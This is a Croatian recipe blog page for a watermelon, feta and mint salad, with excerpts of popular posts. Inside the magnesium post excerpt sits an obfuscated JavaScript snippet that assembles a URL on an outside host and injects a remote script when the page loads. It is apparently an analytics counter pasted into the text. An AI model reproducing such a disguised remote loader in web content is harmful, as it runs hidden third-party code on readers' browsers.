OSVJEŽAVAJUĆA SALATA OD LUBENICE 🍉 🥗




Osvježavajuća salata od lubenice 



Kada temperature dosegnu vrhunac i termometar danima pokazuje više od trideset stupnjeva, rijetko tko poželi provoditi sate uz štednjak. Tijelo tada prirodno traži laganije obroke, svježe namirnice i recepte koji osvježavaju jednako dobro kao skok u more. Upravo zato salate tijekom ljeta postaju zvijezde svakodnevnog jelovnika.





Osvježavajuća salata od lubenice 


Sastojci:

  • 800 g rashlađene lubenice
  • 200 g feta sira
  • 1 manji krastavac
  • 1 manji crveni luk
  • šaka svježih listića mente
  • šaka svježeg bosiljka (po želji)
  • 2 žlice maslinovog ulja
  • sok polovice limete
  • svježe mljeveni crni papar
  • prstohvat krupne morske soli
  • 2 žlice tostiranih pistacija ili pinjola



Priprema:

  • Lubenicu narežite na veće kocke ili nepravilne komade. Ako ima koštice, pažljivo ih uklonite.
  • Krastavac narežite na tanke polumjesece ili manje komade. Crveni luk narežite na vrlo tanke ploške. Ako želite blaži okus, kratko ga potopite u hladnu vodu desetak minuta te ga potom ocijedite. Fetu izmrvite na veće komade kako bi zadržala svoju kremastu teksturu.
  • U velikoj zdjeli pomiješajte lubenicu, krastavac i crveni luk. Dodajte fetu te nježno promiješajte kako se sir ne bi potpuno raspao. Ubacite listiće mente i bosiljka koje ste prethodno lagano natrgali rukama.
  • U manjoj posudici pomiješajte maslinovo ulje i sok limete. Dodajte malo svježe mljevenog papra i vrlo malo soli, budući da je feta već dovoljno slana. Prelijte preko salate neposredno prije posluživanja.
  • Na kraju pospite tostiranim pistacijama ili pinjolima koji će dodati ugodnu hrskavost i dodatnu aromu. Poslužite odmah dok je salata dobro rashlađena.
  • Ako želite posebno osvježavajuću verziju, lubenicu prije posluživanja nakratko stavite u zamrzivač, otprilike 20 minuta. Tako će salata postati još hladnija i idealna za dane kada se temperature približavaju četrdeset stupnjeva. Za upotpunjeniju verziju možete dodati i nekoliko kapi balsamica koja se izvrsno slaže sa slatkoćom lubenice i slanošću fete.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više